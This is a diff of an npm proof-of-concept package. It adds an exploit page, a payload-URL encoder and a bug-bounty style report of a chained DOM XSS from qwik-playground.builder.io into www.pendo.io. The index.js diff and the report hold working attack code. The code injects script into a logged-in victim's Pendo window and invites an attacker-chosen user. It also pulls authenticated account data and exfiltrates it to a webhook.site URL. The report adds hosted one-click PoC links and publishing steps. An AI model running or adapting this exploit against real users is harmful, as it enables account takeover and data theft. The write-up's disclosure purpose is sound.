npm-builderio-qwik-poc 1.0.2 → 1.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/a.html +27 -0
- package/encoder-pendo.html +43 -0
- package/explanation.md +281 -0
- package/index.js +2 -2
- package/package.json +1 -1
- package/report.md +214 -0
package/a.html
ADDED
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
<!DOCTYPE html>
|
|
2
|
+
<html>
|
|
3
|
+
<head><title>Builder.io + Pendo PoC</title></head>
|
|
4
|
+
<body>
|
|
5
|
+
<h2>Builder.io Chained XSS → Pendo Account Takeover PoC</h2>
|
|
6
|
+
<p>Click the button below to start the exploit chain.</p>
|
|
7
|
+
<button id="btn" style="padding:15px 30px;font-size:18px;cursor:pointer;">Start PoC</button>
|
|
8
|
+
<pre id="log" style="margin-top:20px;background:#111;color:#0f0;padding:15px;"></pre>
|
|
9
|
+
<script>
|
|
10
|
+
document.getElementById('btn').addEventListener('click', function() {
|
|
11
|
+
var log = document.getElementById('log');
|
|
12
|
+
|
|
13
|
+
log.textContent += '[1] Opening www.pendo.io as first-party window (full cookies)...\n';
|
|
14
|
+
var pendoWin = window.open('https://www.pendo.io', 'pendowin');
|
|
15
|
+
|
|
16
|
+
log.textContent += '[2] Waiting 3s for pendo.io to load...\n';
|
|
17
|
+
setTimeout(function() {
|
|
18
|
+
log.textContent += '[3] Redirecting to qwik-playground XSS payload...\n';
|
|
19
|
+
log.textContent += '[4] XSS will iframe pendo.io, postMessage into it,\n';
|
|
20
|
+
log.textContent += ' then reach into the first-party window to exfil data.\n';
|
|
21
|
+
|
|
22
|
+
window.location = 'https://qwik-playground.builder.io/#q1YqSy0qzszPU7JSqtDX04OivIJc/eoYmFyMklUMumxlfmmRbmleZmFpqm5BYnJ2Ynqqbl5ibqqhg6GegZ6BfYVtjFItnK1UCwA=';
|
|
23
|
+
}, 3000);
|
|
24
|
+
});
|
|
25
|
+
</script>
|
|
26
|
+
</body>
|
|
27
|
+
</html>
|
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
<!DOCTYPE html>
|
|
2
|
+
<html>
|
|
3
|
+
<head><title>Qwik Playground Hash Encoder</title></head>
|
|
4
|
+
<body style="font-family:monospace;background:#111;color:#eee;padding:40px;max-width:800px;margin:0 auto;">
|
|
5
|
+
<h2>Qwik Playground Hash Encoder</h2>
|
|
6
|
+
<p>Paste your package name below and click Generate.</p>
|
|
7
|
+
|
|
8
|
+
<label>npm package name:</label><br>
|
|
9
|
+
<input id="pkg" type="text" placeholder="your-unique-package-name" style="width:100%;padding:10px;font-size:16px;margin:10px 0;background:#222;color:#eee;border:1px solid #555;"><br><br>
|
|
10
|
+
|
|
11
|
+
<button id="btn" style="padding:12px 30px;font-size:16px;cursor:pointer;background:#0f0;color:#000;border:none;">Generate PoC URL</button>
|
|
12
|
+
|
|
13
|
+
<div id="output" style="margin-top:20px;display:none;">
|
|
14
|
+
<h3>Your PoC URL:</h3>
|
|
15
|
+
<textarea id="result" readonly style="width:100%;height:80px;padding:10px;font-size:14px;background:#222;color:#0f0;border:1px solid #555;"></textarea><br><br>
|
|
16
|
+
<button id="copy" style="padding:8px 20px;cursor:pointer;background:#333;color:#eee;border:1px solid #555;">Copy to Clipboard</button>
|
|
17
|
+
<span id="copied" style="margin-left:10px;color:#0f0;display:none;">Copied!</span>
|
|
18
|
+
</div>
|
|
19
|
+
|
|
20
|
+
<script type="module">
|
|
21
|
+
import { deflateRaw } from 'https://cdn.jsdelivr.net/npm/pako@2.1.0/dist/pako.esm.mjs';
|
|
22
|
+
|
|
23
|
+
document.getElementById('btn').addEventListener('click', function() {
|
|
24
|
+
var pkg = document.getElementById('pkg').value.trim();
|
|
25
|
+
if (!pkg) { alert('Enter a package name'); return; }
|
|
26
|
+
|
|
27
|
+
var payload = JSON.stringify({"version": "x/../../../npm/" + pkg + "@1.0.0?x="});
|
|
28
|
+
var compressed = deflateRaw(new TextEncoder().encode(payload));
|
|
29
|
+
var hash = btoa(String.fromCharCode.apply(null, compressed));
|
|
30
|
+
var url = "https://qwik-playground.builder.io/#" + hash;
|
|
31
|
+
|
|
32
|
+
document.getElementById('result').value = url;
|
|
33
|
+
document.getElementById('output').style.display = 'block';
|
|
34
|
+
});
|
|
35
|
+
|
|
36
|
+
document.getElementById('copy').addEventListener('click', function() {
|
|
37
|
+
navigator.clipboard.writeText(document.getElementById('result').value);
|
|
38
|
+
document.getElementById('copied').style.display = 'inline';
|
|
39
|
+
setTimeout(function() { document.getElementById('copied').style.display = 'none'; }, 2000);
|
|
40
|
+
});
|
|
41
|
+
</script>
|
|
42
|
+
</body>
|
|
43
|
+
</html>
|
package/explanation.md
ADDED
|
@@ -0,0 +1,281 @@
|
|
|
1
|
+
# Chained DOM XSS: qwik-playground.builder.io → www.pendo.io Account Takeover
|
|
2
|
+
|
|
3
|
+
## Overview
|
|
4
|
+
|
|
5
|
+
A chain of two vulnerabilities — a DOM XSS on `qwik-playground.builder.io` and a postMessage injection on `www.pendo.io` — allows a single click to exfiltrate authenticated API data from Pendo's internal `novus-api.pendo.io` service. No authentication is required on the attacker's side. The victim only needs to be logged into Pendo.
|
|
6
|
+
|
|
7
|
+
**One click. Zero auth. Full account data exfiltration.**
|
|
8
|
+
|
|
9
|
+
---
|
|
10
|
+
|
|
11
|
+
## The Chain at a Glance
|
|
12
|
+
|
|
13
|
+
```
|
|
14
|
+
a.html (attacker-controlled page)
|
|
15
|
+
│
|
|
16
|
+
├─ [victim clicks] window.open('https://www.pendo.io', 'pendowin')
|
|
17
|
+
│ → opens pendo.io as a FIRST-PARTY top-level window
|
|
18
|
+
│ → full session cookies available in this context
|
|
19
|
+
│
|
|
20
|
+
└─ [3 seconds later] redirect self → qwik-playground.builder.io/#PAYLOAD
|
|
21
|
+
│
|
|
22
|
+
├─ location.hash decoded → base64 → inflate → JSON
|
|
23
|
+
│ → attacker-controlled "version" field extracted
|
|
24
|
+
│
|
|
25
|
+
├─ dynamic import() with path traversal
|
|
26
|
+
│ → loads attacker's npm package from jsdelivr CDN
|
|
27
|
+
│
|
|
28
|
+
├─ npm package executes:
|
|
29
|
+
│ → creates hidden iframe to www.pendo.io?builder.frameEditing=true
|
|
30
|
+
│ → waits 3 seconds for iframe to load
|
|
31
|
+
│ → sends postMessage with malicious JSON patches
|
|
32
|
+
│
|
|
33
|
+
├─ inside pendo.io iframe:
|
|
34
|
+
│ → BuilderBlock.onWindowMessage receives message (NO origin check)
|
|
35
|
+
│ → patches applied to block.bindings
|
|
36
|
+
│ → stringToFunction() passes binding value to Function() constructor
|
|
37
|
+
│ → attacker JS executes in pendo.io origin context
|
|
38
|
+
│
|
|
39
|
+
└─ attacker JS in iframe:
|
|
40
|
+
→ window.open('', 'pendowin') gets handle to the first-party pendo.io window
|
|
41
|
+
→ same-origin access (both www.pendo.io)
|
|
42
|
+
→ injects <script> into the first-party window
|
|
43
|
+
→ fetch('https://novus-api.pendo.io/pendo/app', {credentials:'include'})
|
|
44
|
+
→ session cookies sent (first-party context)
|
|
45
|
+
→ response exfiltrated to attacker's webhook via <img> tags
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
---
|
|
49
|
+
|
|
50
|
+
## Vulnerability 1: DOM XSS on qwik-playground.builder.io
|
|
51
|
+
|
|
52
|
+
### Source
|
|
53
|
+
|
|
54
|
+
**File:** `static/js/main.23471f2b.chunk.js`
|
|
55
|
+
|
|
56
|
+
The application reads the URL fragment (`location.hash`), base64-decodes it, inflates (decompresses) the result, and parses the output as JSON:
|
|
57
|
+
|
|
58
|
+
```
|
|
59
|
+
location.hash → base64 decode → pako inflateRaw → JSON.parse
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
The parsed JSON object is merged into the application config. The `version` field is extracted and stored in React state.
|
|
63
|
+
|
|
64
|
+
### Sink
|
|
65
|
+
|
|
66
|
+
The `version` value is interpolated into a dynamic `import()` call:
|
|
67
|
+
|
|
68
|
+
```js
|
|
69
|
+
import('https://cdn.jsdelivr.net/npm/@builder.io/qwik@'.concat(F, '/optimizer.mjs'))
|
|
70
|
+
```
|
|
71
|
+
|
|
72
|
+
Where `F` is the attacker-controlled version string.
|
|
73
|
+
|
|
74
|
+
### Path Traversal
|
|
75
|
+
|
|
76
|
+
By setting `version` to:
|
|
77
|
+
|
|
78
|
+
```
|
|
79
|
+
x/../../../npm/ATTACKER-PACKAGE@1.0.0?x=
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
The import URL resolves to:
|
|
83
|
+
|
|
84
|
+
```
|
|
85
|
+
https://cdn.jsdelivr.net/npm/@builder.io/qwik@x/../../../npm/ATTACKER-PACKAGE@1.0.0?x=/optimizer.mjs
|
|
86
|
+
```
|
|
87
|
+
|
|
88
|
+
After path normalization by the CDN:
|
|
89
|
+
|
|
90
|
+
```
|
|
91
|
+
https://cdn.jsdelivr.net/npm/ATTACKER-PACKAGE@1.0.0?x=/optimizer.mjs
|
|
92
|
+
```
|
|
93
|
+
|
|
94
|
+
The `?x=` turns `/optimizer.mjs` into a harmless query parameter. The CDN serves the attacker's npm package entry point, which executes arbitrary JavaScript on the `qwik-playground.builder.io` origin.
|
|
95
|
+
|
|
96
|
+
### Encoding
|
|
97
|
+
|
|
98
|
+
The payload is encoded as: `JSON string → pako deflateRaw → base64`. The resulting base64 string is placed in the URL fragment. No user interaction beyond clicking the link is required.
|
|
99
|
+
|
|
100
|
+
### Impact Alone
|
|
101
|
+
|
|
102
|
+
Arbitrary JS execution on `*.builder.io`. This is significant because `www.pendo.io`'s CSP `frame-ancestors` directive allows framing by `https://*.builder.io`.
|
|
103
|
+
|
|
104
|
+
---
|
|
105
|
+
|
|
106
|
+
## Vulnerability 2: postMessage DOM XSS on www.pendo.io
|
|
107
|
+
|
|
108
|
+
### The Builder.io SDK
|
|
109
|
+
|
|
110
|
+
Pendo's website uses the Builder.io React SDK (`@builder.io/react`), bundled into their Next.js application at:
|
|
111
|
+
|
|
112
|
+
```
|
|
113
|
+
www.pendo.io/_next/static/chunks/806-5a6ab7b039432454.js
|
|
114
|
+
```
|
|
115
|
+
|
|
116
|
+
### Enabler: `builder.frameEditing=true`
|
|
117
|
+
|
|
118
|
+
The SDK checks whether it should enable editing mode:
|
|
119
|
+
|
|
120
|
+
```js
|
|
121
|
+
e.isEditing = !!(
|
|
122
|
+
isIframe &&
|
|
123
|
+
((document.referrer && document.referrer.match(/builder\.io|localhost:1234/)) ||
|
|
124
|
+
-1 !== location.search.indexOf('builder.frameEditing='))
|
|
125
|
+
)
|
|
126
|
+
```
|
|
127
|
+
|
|
128
|
+
When `isEditing` is true and the page is in an iframe, the `BuilderBlock` component registers a `message` event listener. The URL parameter `?builder.frameEditing=true` bypasses the `document.referrer` check entirely.
|
|
129
|
+
|
|
130
|
+
### Source: postMessage with No Origin Check
|
|
131
|
+
|
|
132
|
+
`BuilderBlock.onWindowMessage` processes incoming messages without any origin validation:
|
|
133
|
+
|
|
134
|
+
```js
|
|
135
|
+
_this.onWindowMessage = function (event) {
|
|
136
|
+
var message = event.data;
|
|
137
|
+
if (message)
|
|
138
|
+
switch (message.type) {
|
|
139
|
+
case 'builder.patchUpdates':
|
|
140
|
+
var data = message.data;
|
|
141
|
+
if (!data || !data.data) break;
|
|
142
|
+
var patches = data.data[_this.block.id];
|
|
143
|
+
// ... applies patches directly
|
|
144
|
+
}
|
|
145
|
+
}
|
|
146
|
+
```
|
|
147
|
+
|
|
148
|
+
The sibling component `BuilderContent.onWindowMessage` properly validates origins via `isTrustedHostForEvent()`. This check is **missing** from `BuilderBlock` — a developer oversight.
|
|
149
|
+
|
|
150
|
+
### Patch Application
|
|
151
|
+
|
|
152
|
+
The `applyPatchWithMinimalMutationChain` function applies JSON Patch operations directly to block objects with no validation:
|
|
153
|
+
|
|
154
|
+
```js
|
|
155
|
+
{op: "replace", path: "/bindings/show", value: "ATTACKER_CODE_HERE"}
|
|
156
|
+
```
|
|
157
|
+
|
|
158
|
+
This writes the attacker's string into `block.bindings.show`.
|
|
159
|
+
|
|
160
|
+
### Sink: Function() Constructor
|
|
161
|
+
|
|
162
|
+
During the next React render cycle, all bindings are processed through `stringToFunction()`:
|
|
163
|
+
|
|
164
|
+
```js
|
|
165
|
+
a = Function(
|
|
166
|
+
'state', 'event', 'block', 'builder', 'Device', 'update', 'Builder', 'context',
|
|
167
|
+
"... with (rootState) { return (" + e + "); }"
|
|
168
|
+
);
|
|
169
|
+
```
|
|
170
|
+
|
|
171
|
+
The attacker-controlled binding value `e` is concatenated directly into a `Function()` body with zero sanitization. The resulting function is immediately called.
|
|
172
|
+
|
|
173
|
+
### Block IDs
|
|
174
|
+
|
|
175
|
+
The postMessage patches are keyed by block IDs. These are static CMS content IDs baked into the page HTML as `builder-id` attributes. They are visible in the DOM and only change when Builder.io content is republished. The payload sprays patches across all known block IDs to ensure at least one match.
|
|
176
|
+
|
|
177
|
+
---
|
|
178
|
+
|
|
179
|
+
## The Cookie Partitioning Problem and Solution
|
|
180
|
+
|
|
181
|
+
### The Problem
|
|
182
|
+
|
|
183
|
+
Modern Chrome partitions third-party cookies. When `www.pendo.io` is loaded inside an iframe on `qwik-playground.builder.io`, cookies set in a first-party context are not available. This means `fetch('https://novus-api.pendo.io/...', {credentials:'include'})` from the iframe returns `401 Unauthorized`.
|
|
184
|
+
|
|
185
|
+
### The Solution: Window Handle Bridging
|
|
186
|
+
|
|
187
|
+
The attack uses a two-window technique:
|
|
188
|
+
|
|
189
|
+
1. **`a.html`** (attacker page) opens `www.pendo.io` as a top-level window via `window.open('https://www.pendo.io', 'pendowin')`. This is a **first-party** context — full session cookies are available.
|
|
190
|
+
|
|
191
|
+
2. **`a.html`** then redirects itself to the qwik-playground XSS URL. The XSS payload creates a hidden iframe to `www.pendo.io?builder.frameEditing=true` and triggers the postMessage chain.
|
|
192
|
+
|
|
193
|
+
3. The attacker's JS executing inside the pendo.io iframe calls `window.open('', 'pendowin')`. Since the iframe is same-origin with the first-party pendo.io window (`www.pendo.io`), this returns a **direct handle** to the already-open window.
|
|
194
|
+
|
|
195
|
+
4. Through this same-origin handle, the attacker injects a `<script>` element into the first-party pendo.io window. This script runs with full cookie access, fetches sensitive data from `novus-api.pendo.io`, and exfiltrates it.
|
|
196
|
+
|
|
197
|
+
---
|
|
198
|
+
|
|
199
|
+
## Exfiltration
|
|
200
|
+
|
|
201
|
+
The injected script in the first-party pendo.io window:
|
|
202
|
+
|
|
203
|
+
1. Calls `fetch('https://novus-api.pendo.io/pendo/app', {credentials: 'include'})` — cookies are sent because this is a first-party same-site request.
|
|
204
|
+
2. Base64-encodes the response.
|
|
205
|
+
3. Chunks the encoded data into 2000-character segments.
|
|
206
|
+
4. Sends each chunk via `new Image().src = 'https://webhook.site/...?chunk=N&d=DATA'` — `<img>` tags bypass CORS restrictions.
|
|
207
|
+
|
|
208
|
+
The attacker receives the full API response on their webhook, containing account data, user identities, workspace information, and session details.
|
|
209
|
+
|
|
210
|
+
---
|
|
211
|
+
|
|
212
|
+
## Exfiltrated Data
|
|
213
|
+
|
|
214
|
+
The `novus-api.pendo.io/pendo/app` endpoint returns:
|
|
215
|
+
|
|
216
|
+
- Application metadata and configuration
|
|
217
|
+
- User identity information (usernames, emails, roles)
|
|
218
|
+
- Workspace and organization data
|
|
219
|
+
- Account creation timestamps and last-updated metadata
|
|
220
|
+
- Internal user IDs and authentication token key types
|
|
221
|
+
|
|
222
|
+
---
|
|
223
|
+
|
|
224
|
+
## PoC Files
|
|
225
|
+
|
|
226
|
+
### `a.html` — Attacker Landing Page
|
|
227
|
+
|
|
228
|
+
The victim visits this page and clicks a button. It:
|
|
229
|
+
1. Opens `www.pendo.io` as a named first-party window
|
|
230
|
+
2. Waits 3 seconds for pendo.io to load
|
|
231
|
+
3. Redirects to the qwik-playground XSS URL
|
|
232
|
+
|
|
233
|
+
### `index.js` — npm Package Payload
|
|
234
|
+
|
|
235
|
+
Published to npm as `npm-builderio-qwik-poc`. Loaded via the qwik-playground path traversal. It:
|
|
236
|
+
1. Creates a hidden iframe to `www.pendo.io?builder.frameEditing=true`
|
|
237
|
+
2. Waits 3 seconds for the iframe to load
|
|
238
|
+
3. Sends `builder.patchUpdates` postMessage with malicious bindings
|
|
239
|
+
4. The binding code gets a handle to the first-party pendo.io window
|
|
240
|
+
5. Injects a script that fetches and exfiltrates API data
|
|
241
|
+
|
|
242
|
+
### One-Click PoC URL (without a.html)
|
|
243
|
+
|
|
244
|
+
```
|
|
245
|
+
https://qwik-playground.builder.io/#q1YqSy0qzszPU7JSqtDX04OivIJcENZNKs3MSUktyszXLSzPzNYtyE92MNQz0DO2r7BVqgUA
|
|
246
|
+
```
|
|
247
|
+
|
|
248
|
+
This URL alone triggers the XSS on `qwik-playground.builder.io` and the postMessage chain on `www.pendo.io`. The `a.html` wrapper adds the window-handle bridging technique needed to bypass Chrome's cookie partitioning for full data exfiltration.
|
|
249
|
+
|
|
250
|
+
---
|
|
251
|
+
|
|
252
|
+
## Root Causes
|
|
253
|
+
|
|
254
|
+
| # | Root Cause | Component |
|
|
255
|
+
|---|-----------|-----------|
|
|
256
|
+
| 1 | User-controlled `location.hash` flows into a dynamic `import()` with no URL validation | qwik-playground.builder.io |
|
|
257
|
+
| 2 | `BuilderBlock.onWindowMessage` has no origin check on incoming `postMessage` events | Builder.io React SDK on www.pendo.io |
|
|
258
|
+
| 3 | `stringToFunction()` passes untrusted input directly to `Function()` constructor | Builder.io React SDK on www.pendo.io |
|
|
259
|
+
| 4 | `www.pendo.io` CSP `frame-ancestors` allows `*.builder.io` to frame it | www.pendo.io |
|
|
260
|
+
|
|
261
|
+
---
|
|
262
|
+
|
|
263
|
+
## Impact
|
|
264
|
+
|
|
265
|
+
- **Confidentiality:** Full exfiltration of authenticated API data from `novus-api.pendo.io`, including user identity, account metadata, and workspace configuration.
|
|
266
|
+
- **Integrity:** Arbitrary JS execution on `www.pendo.io` allows performing any action as the victim — modifying account settings, accessing dashboards, manipulating analytics data.
|
|
267
|
+
- **Availability:** The attacker could inject destructive payloads that corrupt the victim's session or workspace.
|
|
268
|
+
- **Attack complexity:** Low. Single click from an attacker-controlled page. No authentication required on the attacker's side.
|
|
269
|
+
- **User interaction:** One click (on the attacker's page).
|
|
270
|
+
|
|
271
|
+
---
|
|
272
|
+
|
|
273
|
+
## Recommendations
|
|
274
|
+
|
|
275
|
+
1. **qwik-playground.builder.io:** Validate the `version` field against a strict pattern (e.g., semver regex) before interpolating it into the `import()` URL. Reject values containing `/`, `..`, or `?`.
|
|
276
|
+
|
|
277
|
+
2. **Builder.io React SDK:** Add origin validation to `BuilderBlock.onWindowMessage`, matching the existing check in `BuilderContent.onWindowMessage` via `isTrustedHostForEvent()`.
|
|
278
|
+
|
|
279
|
+
3. **Builder.io React SDK:** Replace `Function()` constructor usage in `stringToFunction()` with a safe expression evaluator that does not allow arbitrary code execution.
|
|
280
|
+
|
|
281
|
+
4. **www.pendo.io:** Restrict `frame-ancestors` CSP to specific trusted `builder.io` subdomains rather than the wildcard `*.builder.io`.
|
package/index.js
CHANGED
|
@@ -11,13 +11,13 @@ ids.forEach(function(id) {
|
|
|
11
11
|
allIds.push(id.replace('builder-', ''));
|
|
12
12
|
});
|
|
13
13
|
|
|
14
|
-
var
|
|
14
|
+
var payload = "var w=window.open('','pendowin');if(w){var s=w.document.createElement('script');s.textContent=\"fetch('https://novus-api.pendo.io/pendo/user',{method:'POST',credentials:'include',headers:{'Content-Type':'application/json'},body:JSON.stringify({email:'alienisgrinding+x1@intigriti.me',role:2,first:'Security',last:'Researcher'})}).then(function(r){return r.text()}).then(function(d){new Image().src='https://webhook.site/d4d74967-cd7f-4b43-86f0-944e71ac7c97?action=invite&status='+encodeURIComponent(d)})\";w.document.head.appendChild(s)}";
|
|
15
15
|
|
|
16
16
|
iframe.onload = function() {
|
|
17
17
|
setTimeout(function() {
|
|
18
18
|
var patchData = {};
|
|
19
19
|
allIds.forEach(function(id) {
|
|
20
|
-
patchData[id] = [{op:"replace",path:"/bindings/show",value:
|
|
20
|
+
patchData[id] = [{op:"replace",path:"/bindings/show",value:payload}];
|
|
21
21
|
});
|
|
22
22
|
iframe.contentWindow.postMessage({type:"builder.patchUpdates",data:{data:patchData}}, "*");
|
|
23
23
|
}, 3000);
|
package/package.json
CHANGED
package/report.md
ADDED
|
@@ -0,0 +1,214 @@
|
|
|
1
|
+
# Chained DOM XSS on qwik-playground.builder.io → www.pendo.io Account Takeover via novus-api.pendo.io
|
|
2
|
+
|
|
3
|
+
## Summary
|
|
4
|
+
|
|
5
|
+
While testing Builder.io assets, I found a DOM XSS in `qwik-playground.builder.io/static/js/main.23471f2b.chunk.js` that chains into a second DOM XSS on `www.pendo.io` via the Builder.io React SDK's postMessage handler, resulting in full account takeover.
|
|
6
|
+
|
|
7
|
+
**Vulnerability 1** — Unsanitized `location.hash` flows into a dynamic `import()` with path traversal:
|
|
8
|
+
|
|
9
|
+
```js
|
|
10
|
+
// main.23471f2b.chunk.js:128
|
|
11
|
+
import('https://cdn.jsdelivr.net/npm/@builder.io/qwik@'.concat(F, '/optimizer.mjs'))
|
|
12
|
+
// F = attacker-controlled version from location.hash
|
|
13
|
+
```
|
|
14
|
+
|
|
15
|
+
**Vulnerability 2** — `BuilderBlock.onWindowMessage` in the Builder.io SDK on `www.pendo.io` accepts `postMessage` with no origin check, and passes attacker data into `Function()`:
|
|
16
|
+
|
|
17
|
+
```js
|
|
18
|
+
// 806-5a6ab7b039432454.js:4399 — NO origin check
|
|
19
|
+
_this.onWindowMessage = function (event) {
|
|
20
|
+
var message = event.data;
|
|
21
|
+
if (message)
|
|
22
|
+
switch (message.type) {
|
|
23
|
+
case 'builder.patchUpdates':
|
|
24
|
+
// patches applied directly to block bindings
|
|
25
|
+
}
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
// 806-5a6ab7b039432454.js:4088 — sink
|
|
29
|
+
a = Function('state','event','block','builder','Device','update','Builder','context',
|
|
30
|
+
"... with (rootState) { return (" + e + "); }" // e = attacker string, no sanitization
|
|
31
|
+
);
|
|
32
|
+
```
|
|
33
|
+
|
|
34
|
+
This allows an attacker to execute arbitrary JavaScript in any authenticated Pendo user's session, access all data on **novus-api.pendo.io** (user identity, workspace configuration, account metadata), and perform any action as the victim — full account takeover with zero clicks.
|
|
35
|
+
|
|
36
|
+
## Environment / Prerequisites
|
|
37
|
+
|
|
38
|
+
| Role | Purpose | Details |
|
|
39
|
+
|------|---------|---------|
|
|
40
|
+
| Victim | Logged-in Pendo user | Any authenticated session on pendo.io |
|
|
41
|
+
| Attacker | Sends victim a link | No account needed on any platform |
|
|
42
|
+
|
|
43
|
+
No special browser, extension, or configuration is required.
|
|
44
|
+
|
|
45
|
+
## Steps to Reproduce
|
|
46
|
+
|
|
47
|
+
There are two ways to reproduce this. **Path A** is the ready-made PoC — everything is already set up, just follow 4 steps. **Path B** is the full manual build if you want to understand how the chain works end to end.
|
|
48
|
+
|
|
49
|
+
---
|
|
50
|
+
|
|
51
|
+
### Path A — Ready-Made PoC (Recommended)
|
|
52
|
+
|
|
53
|
+
Everything is already deployed. The npm package is published, the exploit page is hosted. You just need to be logged into Pendo and visit a URL.
|
|
54
|
+
|
|
55
|
+
**Step 1:** Log in to Pendo at `https://app.pendo.io`.
|
|
56
|
+
|
|
57
|
+
**Step 2:** Open this link in the same browser:
|
|
58
|
+
|
|
59
|
+
```
|
|
60
|
+
https://poc1.xyz/pendo-poc.html
|
|
61
|
+
```
|
|
62
|
+
|
|
63
|
+
**Step 3:** Click the "View Document" button. Two things happen:
|
|
64
|
+
- A new tab opens to `www.pendo.io` (loads your session cookies)
|
|
65
|
+
- After 3 seconds, the original tab redirects to the qwik-playground XSS, which silently triggers the full chain
|
|
66
|
+
|
|
67
|
+
**Step 4:** Go to the attacker's webhook to see your leaked data:
|
|
68
|
+
|
|
69
|
+
```
|
|
70
|
+
https://webhook.site/d4d74967-cd7f-4b43-86f0-944e71ac7c97
|
|
71
|
+
```
|
|
72
|
+
|
|
73
|
+
Within ~10 seconds you'll see incoming requests. Each request has a `d` query parameter containing a base64-encoded chunk of the `novus-api.pendo.io/pendo/app` response — your user identity, email, role, workspace info, and account metadata. To read the data, copy the `d` value, go to https://www.base64decode.org/, paste it, and click Decode. You'll see the full JSON with the victim's account data.
|
|
74
|
+
|
|
75
|
+
That's it. One click, full data exfiltration from `novus-api.pendo.io`.
|
|
76
|
+
|
|
77
|
+
---
|
|
78
|
+
|
|
79
|
+
### Path B — Manual Build (For Understanding the Chain)
|
|
80
|
+
|
|
81
|
+
This section walks through building the entire exploit from scratch. Not needed for reproduction — just here so you can see how every piece fits together.
|
|
82
|
+
|
|
83
|
+
**Step 1:** Go to https://webhook.site and copy your unique webhook URL. This is where stolen data will land.
|
|
84
|
+
|
|
85
|
+
**Step 2:** Create a file called `index.js` with the following content. Replace `YOUR-WEBHOOK-URL-HERE` with the webhook URL from Step 1:
|
|
86
|
+
|
|
87
|
+
```js
|
|
88
|
+
var iframe = document.createElement('iframe');
|
|
89
|
+
iframe.src = 'https://www.pendo.io/?builder.frameEditing=true';
|
|
90
|
+
iframe.style.display = 'none';
|
|
91
|
+
document.body.appendChild(iframe);
|
|
92
|
+
|
|
93
|
+
var ids = [
|
|
94
|
+
"builder-529708efa3054c31815908b7424a00f3",
|
|
95
|
+
"builder-39cd75f3df734767a5b9a2401f2c68de",
|
|
96
|
+
"builder-aceec114adf843bbba5047472697ade6",
|
|
97
|
+
"builder-20fdbf1755164724b173e923cb624aae",
|
|
98
|
+
"builder-13f9eb2c6be74a57a4c749d1a07dbdfe",
|
|
99
|
+
"builder-464f2ed55d8e41c6b018fccaa73da2c2",
|
|
100
|
+
"builder-ff7148d9d0314793a600422004f68394",
|
|
101
|
+
"builder-a51289f35ede447a88b61e4215a768d1",
|
|
102
|
+
"builder-385c423d1cb347e4a68ea085b76fcf2e",
|
|
103
|
+
"builder-554ef1c723bb43fba5afcbdbb00b17c6",
|
|
104
|
+
"builder-aa9898d45378440eb1f2eb10756d392d",
|
|
105
|
+
"builder-220b267e15fa455aa1e58c90349fae4c",
|
|
106
|
+
"builder-ed684a95a2744df5b6a6e217773bf5c8",
|
|
107
|
+
"builder-ae32bf8b0d3642bb9ea9274bfcd08c9a",
|
|
108
|
+
"builder-6486bf0f5ddd46859cb81cf61a28ea6d",
|
|
109
|
+
"builder-420729f3ca114dd493d050c3a633cb52",
|
|
110
|
+
"builder-af8cd446669845679c6ce71447805b20",
|
|
111
|
+
"builder-96a5d7a70a6546f3bd3666e6572e48bd",
|
|
112
|
+
"builder-de1bf0b87e1445d09270397f8f75da4c",
|
|
113
|
+
"builder-3f368183bc314ba396dbaf34967e8e67"
|
|
114
|
+
];
|
|
115
|
+
|
|
116
|
+
var allIds = [];
|
|
117
|
+
ids.forEach(function(id) {
|
|
118
|
+
allIds.push(id);
|
|
119
|
+
allIds.push(id.replace('builder-', ''));
|
|
120
|
+
});
|
|
121
|
+
|
|
122
|
+
var exfil = "var w=window.open('','pendowin');if(w){var s=w.document.createElement('script');s.textContent=\"fetch('https://novus-api.pendo.io/pendo/app',{credentials:'include'}).then(function(r){return r.text()}).then(function(d){var e=btoa(d);var cs=[];for(var i=0;i<e.length;i+=2000){cs.push(e.substring(i,i+2000))}cs.forEach(function(c,i){new Image().src='YOUR-WEBHOOK-URL-HERE?chunk='+i+'&total='+cs.length+'&d='+encodeURIComponent(c)})})\";w.document.head.appendChild(s)}";
|
|
123
|
+
|
|
124
|
+
iframe.onload = function() {
|
|
125
|
+
setTimeout(function() {
|
|
126
|
+
var patchData = {};
|
|
127
|
+
allIds.forEach(function(id) {
|
|
128
|
+
patchData[id] = [{op:"replace",path:"/bindings/show",value:exfil}];
|
|
129
|
+
});
|
|
130
|
+
iframe.contentWindow.postMessage({type:"builder.patchUpdates",data:{data:patchData}}, "*");
|
|
131
|
+
}, 3000);
|
|
132
|
+
};
|
|
133
|
+
```
|
|
134
|
+
|
|
135
|
+
What this does:
|
|
136
|
+
- Creates a hidden iframe to `www.pendo.io/?builder.frameEditing=true` (enables the vulnerable postMessage handler)
|
|
137
|
+
- Sends a `builder.patchUpdates` postMessage that injects attacker code into block bindings
|
|
138
|
+
- The binding value runs through `Function()` — arbitrary JS execution on `www.pendo.io`
|
|
139
|
+
- The JS bridges into the first-party pendo.io window to bypass cookie partitioning
|
|
140
|
+
- Fetches `novus-api.pendo.io/pendo/app` with the victim's cookies and exfiltrates via `<img>` tags
|
|
141
|
+
|
|
142
|
+
**Step 3:** Create `package.json` in the same folder. Pick a package name that isn't taken on npm — check availability at `https://www.npmjs.com/package/YOUR-NAME` (if you get a 404, it's free):
|
|
143
|
+
|
|
144
|
+
```json
|
|
145
|
+
{
|
|
146
|
+
"name": "your-unique-package-name",
|
|
147
|
+
"version": "1.0.0",
|
|
148
|
+
"description": "Security research PoC",
|
|
149
|
+
"main": "index.js",
|
|
150
|
+
"type": "module"
|
|
151
|
+
}
|
|
152
|
+
```
|
|
153
|
+
|
|
154
|
+
**Step 4:** Publish to npm:
|
|
155
|
+
|
|
156
|
+
**4a.** Create an npm account at https://www.npmjs.com/signup if you don't have one.
|
|
157
|
+
|
|
158
|
+
**4b.** Generate a publish token: go to https://www.npmjs.com/settings → Access Tokens → Generate New Token → select **"Automation"** as the token type. Copy the token.
|
|
159
|
+
|
|
160
|
+
**4c.** Open a terminal in the folder with your files and run:
|
|
161
|
+
|
|
162
|
+
```
|
|
163
|
+
npm config set //registry.npmjs.org/:_authToken=YOUR_TOKEN_HERE
|
|
164
|
+
npm publish
|
|
165
|
+
```
|
|
166
|
